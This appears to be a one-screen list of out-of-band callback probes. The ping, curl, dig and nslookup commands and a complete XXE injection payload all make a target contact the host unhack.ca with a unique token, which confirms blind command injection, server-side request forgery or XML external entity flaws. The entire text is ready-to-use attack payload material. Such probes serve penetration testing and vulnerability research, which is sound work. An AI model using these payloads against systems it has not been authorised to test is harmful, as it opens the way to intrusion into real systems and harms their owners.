$ ping -c1 -p 00ab82ead6a092ed70676f70d9333b00 unhack.ca
$ curl http://unhack.ca/p/ab82ead6a092ed70676f70d9333b
$ dig ab82ead6a092ed70676f70d9333b @unhack.ca
$ dig ab82ead6a092ed70676f70d9333b.ns.unhack.ca
C:\> nslookup ab82ead6a092ed70676f70d9333b unhack.ca
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [<!ELEMENT foo ANY> <!ENTITY xxe SYSTEM "http://unhack.ca/p/ab82ead6a092ed70676f70d9333b">]> <foo>&xxe;</foo>